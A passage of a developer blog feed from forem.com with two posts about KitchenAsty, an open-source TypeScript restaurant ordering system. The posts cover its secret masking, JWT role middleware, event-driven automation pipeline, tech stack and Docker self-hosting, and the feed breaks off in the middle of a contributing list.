&lt;p&gt;&lt;strong&gt;Secret masking&lt;/strong&gt; — API keys and passwords are masked in API responses (&lt;code&gt;sk_l...4x8f&lt;/code&gt;). When the admin submits the settings form, if a field still looks masked, the server preserves the existing database value instead of overwriting it with the mask string:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;preserveIfMasked&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;newVal&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;existingVal&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;isMasked&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;newVal&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;existingVal&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;newVal&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This means the frontend never holds real secrets in memory — it only ever sees masked values.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Auth: Composable Middleware, Two User Types
&lt;/h2&gt;

&lt;p&gt;Staff and customers share the same JWT structure but are treated as distinct principals:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kr"&gt;interface&lt;/span&gt; &lt;span class="nx"&gt;JwtPayload&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;email&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;staff&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;customer&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;role&lt;/span&gt;&lt;span class="p"&gt;?:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;SUPER_ADMIN&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;MANAGER&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;STAFF&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Access control is built from three composable middleware functions:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nx"&gt;authenticate&lt;/span&gt;        &lt;span class="c1"&gt;// require any valid JWT&lt;/span&gt;
&lt;span class="nx"&gt;requireStaff&lt;/span&gt;        &lt;span class="c1"&gt;// require type === 'staff'&lt;/span&gt;
&lt;span class="nf"&gt;requireRole&lt;/span&gt;&lt;span class="p"&gt;(...&lt;/span&gt;&lt;span class="nx"&gt;roles&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;// require specific role(s)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These compose at the route level:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="nx"&gt;router&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;            &lt;span class="nx"&gt;optionalAuth&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;createOrder&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;       &lt;span class="c1"&gt;// guests OK&lt;/span&gt;
&lt;span class="nx"&gt;router&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/my-orders&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;    &lt;span class="nx"&gt;authenticate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;listCustomerOrders&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;router&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;             &lt;span class="nx"&gt;authenticate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;requireStaff&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;listOrders&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;router&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;patch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/:id/status&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;authenticate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;requireStaff&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;updateOrderStatus&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;optionalAuth&lt;/code&gt; variant is key for guest checkout — it attaches the user if present but doesn't reject anonymous requests.&lt;/p&gt;

&lt;p&gt;Staff invitation uses single-use tokens with a 7-day expiry stored in the database. When a new staff member accepts an invitation, the token is marked as used to prevent replay.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Automation: Data-Driven Event Pipeline
&lt;/h2&gt;

&lt;p&gt;This was the most interesting piece to build. Restaurant owners need custom workflows — "email the customer when their order is confirmed", "send an SMS when the order is ready for pickup", "notify the manager via webhook when a bad review comes in" — without touching code.&lt;/p&gt;

&lt;p&gt;The pipeline has three layers:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Layer 1 — EventEmitter as internal bus.&lt;/strong&gt; Controllers emit domain events after mutations:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// After creating an order&lt;/span&gt;
&lt;span class="nx"&gt;appEvents&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;emit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;order.created&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;order&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="c1"&gt;// After changing order status&lt;/span&gt;
&lt;span class="nx"&gt;appEvents&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;emit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;order.statusChanged&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;order&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;previousStatus&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Layer 2 — DB-driven rule matching.&lt;/strong&gt; When an event fires, the system queries for active automation rules that match:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;processRules&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;rules&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;prisma&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;automationRule&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findMany&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
    &lt;span class="na"&gt;where&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;isActive&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
  &lt;span class="p"&gt;});&lt;/span&gt;
  &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;rule&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;rules&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;matchesConditions&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;rule&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;conditions&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;for &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;action&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="nx"&gt;rule&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;actions&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nf"&gt;executeAction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;action&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Conditions support dot-notation paths, so a rule can match on &lt;code&gt;order.status === 'CONFIRMED'&lt;/code&gt; or &lt;code&gt;order.type === 'DELIVERY'&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Layer 3 — Action execution.&lt;/strong&gt; Three action types: &lt;code&gt;email&lt;/code&gt;, &lt;code&gt;sms&lt;/code&gt;, and &lt;code&gt;webhook&lt;/code&gt;. Templates use &lt;code&gt;{{dot.path}}&lt;/code&gt; interpolation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"email"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"to"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"customer"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"subject"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Your order #{{order.orderNumber}} is confirmed!"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"body"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Hi {{order.customer.name}}, we're preparing your order."&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;"to": "customer"&lt;/code&gt; field resolves dynamically — it walks &lt;code&gt;data.order.customer.email&lt;/code&gt;, then falls back to &lt;code&gt;data.order.guestEmail&lt;/code&gt;. This works transparently for both registered and guest orders.&lt;/p&gt;

&lt;p&gt;Everything is stored as JSON in the &lt;code&gt;AutomationRule&lt;/code&gt; model, so restaurant owners create and manage rules through the admin panel without deployments.&lt;/p&gt;

&lt;h2&gt;
  
  
  6. Shared Types: Thin by Design
&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;packages/shared&lt;/code&gt; package is intentionally minimal — it exports &lt;code&gt;as const&lt;/code&gt; arrays that serve as both runtime values and TypeScript types:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;ORDER_STATUSES&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
  &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;pending&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;confirmed&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;preparing&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;ready&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;out_for_delivery&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;delivered&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;picked_up&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;cancelled&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;OrderStatus&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nx"&gt;ORDER_STATUSES&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The package does &lt;strong&gt;not&lt;/strong&gt; re-export Prisma types. The admin and storefront apps import from &lt;code&gt;@kitchenasty/shared&lt;/code&gt; without taking a transitive dependency on Prisma or any server-side code. This keeps frontend bundles clean and avoids the common monorepo trap where everything depends on everything.&lt;/p&gt;

&lt;p&gt;Shared response shapes (&lt;code&gt;ApiResponse&amp;lt;T&amp;gt;&lt;/code&gt;, &lt;code&gt;PaginatedResponse&amp;lt;T&amp;gt;&lt;/code&gt;) ensure the API contract is consistent across all endpoints without a code generation step.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I'd Do Differently
&lt;/h2&gt;

&lt;p&gt;A few things I'd reconsider if starting over:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;tRPC instead of REST&lt;/strong&gt; — type-safe API calls without hand-written fetch wrappers. The shared types package partially solves this, but tRPC would eliminate the gap entirely.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Structured logger from day one&lt;/strong&gt; — the codebase currently uses raw &lt;code&gt;console.*&lt;/code&gt; calls. Adding &lt;code&gt;pino&lt;/code&gt; or &lt;code&gt;winston&lt;/code&gt; after the fact means touching every file that logs. This is &lt;a href="https://github.com/mighty840/kitchenasty/issues/14" rel="noopener noreferrer"&gt;an open issue&lt;/a&gt; if you want to help.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Component tests for the frontends&lt;/strong&gt; — the backend has 330+ tests but the React apps have zero unit tests. Integration coverage through Playwright helps, but component-level tests would catch more regressions.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Try It / Contribute
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Live demo:&lt;/strong&gt; &lt;a href="https://demo.kitchenasty.com" rel="noopener noreferrer"&gt;demo.kitchenasty.com&lt;/a&gt; (resets every 2 hours)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;GitHub:&lt;/strong&gt; &lt;a href="https://github.com/mighty840/kitchenasty" rel="noopener noreferrer"&gt;github.com/mighty840/kitchenasty&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Docs:&lt;/strong&gt; &lt;a href="https://kitchenasty.com" rel="noopener noreferrer"&gt;kitchenasty.com&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If any of these patterns are interesting to you, there are &lt;a href="https://github.com/mighty840/kitchenasty/labels/good%20first%20issue" rel="noopener noreferrer"&gt;good first issues&lt;/a&gt; and &lt;a href="https://github.com/mighty840/kitchenasty/labels/help%20wanted" rel="noopener noreferrer"&gt;help wanted issues&lt;/a&gt; covering accessibility, i18n, test coverage, and more. Happy to answer questions in the comments or in &lt;a href="https://github.com/mighty840/kitchenasty/discussions" rel="noopener noreferrer"&gt;GitHub Discussions&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>typescript</category>
      <category>opensource</category>
      <category>webdev</category>
      <category>architecture</category>
    </item>
    <item>
      <title>I built an open-source alternative to Toast and Square for restaurant management</title>
      <dc:creator>Sharang Parnerkar</dc:creator>
      <pubDate>Mon, 23 Feb 2026 21:47:49 +0000</pubDate>
      <link>https://forem.com/mighty840/i-built-an-open-source-alternative-to-toast-and-square-for-restaurant-management-3mdf</link>
      <guid>https://forem.com/mighty840/i-built-an-open-source-alternative-to-toast-and-square-for-restaurant-management-3mdf</guid>
      <description>&lt;h2&gt;
  
  
  The Problem
&lt;/h2&gt;

&lt;p&gt;If you run a small restaurant, your options for online ordering and management are:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;SaaS platforms&lt;/strong&gt; like Toast, Square, or ChowNow — $100-300+/month with vendor lock-in&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Old open-source projects&lt;/strong&gt; — mostly PHP/Laravel, hard to extend, dated UIs&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Build it yourself&lt;/strong&gt; — months of work before you can take a single order&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I wanted a fourth option: a modern, self-hosted, open-source platform that a developer could deploy in an afternoon.&lt;/p&gt;

&lt;h2&gt;
  
  
  Introducing KitchenAsty
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://github.com/mighty840/kitchenasty" rel="noopener noreferrer"&gt;KitchenAsty&lt;/a&gt; is an MIT-licensed restaurant ordering, reservation, and management system built as a TypeScript monorepo.&lt;/p&gt;

&lt;h3&gt;
  
  
  What it covers
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;For customers:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Browse the menu, add to cart, and place orders for delivery or pickup&lt;/li&gt;
&lt;li&gt;Schedule orders for later or order ASAP&lt;/li&gt;
&lt;li&gt;Pay with Stripe or cash on delivery&lt;/li&gt;
&lt;li&gt;Track orders in real-time&lt;/li&gt;
&lt;li&gt;Book table reservations&lt;/li&gt;
&lt;li&gt;Leave reviews&lt;/li&gt;
&lt;li&gt;React Native mobile app&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;For restaurant staff:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Manage menus with categories, options, allergens, and images&lt;/li&gt;
&lt;li&gt;Kitchen display — a live Kanban board showing incoming orders&lt;/li&gt;
&lt;li&gt;Process orders with one-click status progression&lt;/li&gt;
&lt;li&gt;Manage reservations with table assignment&lt;/li&gt;
&lt;li&gt;Create and track coupons&lt;/li&gt;
&lt;li&gt;Moderate customer reviews&lt;/li&gt;
&lt;li&gt;Staff management with role-based access&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;For the owner:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Dashboard with revenue trends, order analytics, and top-selling items&lt;/li&gt;
&lt;li&gt;Multi-language support (6 languages)&lt;/li&gt;
&lt;li&gt;Full settings panel for payments, email, orders, and more&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Tech Stack
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Layer&lt;/th&gt;
&lt;th&gt;Tech&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;API&lt;/td&gt;
&lt;td&gt;Node.js + Express&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Admin &amp;amp; Storefront&lt;/td&gt;
&lt;td&gt;React 18 + Vite&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Mobile&lt;/td&gt;
&lt;td&gt;React Native + Expo&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Database&lt;/td&gt;
&lt;td&gt;PostgreSQL + Prisma&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Real-time&lt;/td&gt;
&lt;td&gt;Socket.IO&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Payments&lt;/td&gt;
&lt;td&gt;Stripe&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Styling&lt;/td&gt;
&lt;td&gt;Tailwind CSS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Testing&lt;/td&gt;
&lt;td&gt;Vitest + Playwright (330+ tests)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Language&lt;/td&gt;
&lt;td&gt;TypeScript (strict mode everywhere)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Architecture Decisions
&lt;/h2&gt;

&lt;p&gt;A few choices I made and why:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Monorepo with npm workspaces&lt;/strong&gt; — Admin, storefront, server, and shared types all live in one repo. Changes to shared types are immediately visible everywhere. No publishing packages, no version mismatches.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Prisma over raw SQL&lt;/strong&gt; — Type-safe database queries that catch errors at build time. The schema is self-documenting with 30 models and clear relationships.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Socket.IO for real-time&lt;/strong&gt; — The kitchen display and order tracking need instant updates. Socket.IO made this straightforward with room-based broadcasting.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Separate admin and storefront apps&lt;/strong&gt; — Different audiences, different concerns. The admin is a dense data-management tool. The storefront is a consumer-facing ordering experience. Sharing a single React app would have meant too many compromises.&lt;/p&gt;

&lt;h2&gt;
  
  
  Self-Hosting
&lt;/h2&gt;

&lt;p&gt;The project is designed to be self-hosted with Docker. The docs site has a complete guide covering:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Server setup (Ubuntu/Debian)&lt;/li&gt;
&lt;li&gt;Docker Compose deployment&lt;/li&gt;
&lt;li&gt;Domain and DNS configuration&lt;/li&gt;
&lt;li&gt;Reverse proxy with SSL (Nginx or Caddy)&lt;/li&gt;
&lt;li&gt;Backups and maintenance&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For local development, it's &lt;code&gt;docker compose up -d&lt;/code&gt; for PostgreSQL, then &lt;code&gt;npm run dev:server&lt;/code&gt; / &lt;code&gt;npm run dev:admin&lt;/code&gt; / &lt;code&gt;npm run dev:storefront&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  By the Numbers
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;27,000 lines of TypeScript&lt;/li&gt;
&lt;li&gt;30 database models&lt;/li&gt;
&lt;li&gt;118 API endpoints&lt;/li&gt;
&lt;li&gt;330+ tests (unit, integration, E2E)&lt;/li&gt;
&lt;li&gt;6 supported languages&lt;/li&gt;
&lt;li&gt;Full CI/CD with GitHub Actions&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Contributing
&lt;/h2&gt;

&lt;p&gt;The project is set up for contributors:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/mighty840/kitchenasty/blob/main/CONTRIBUTING.md" rel="noopener noreferrer"&gt;Contributing guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
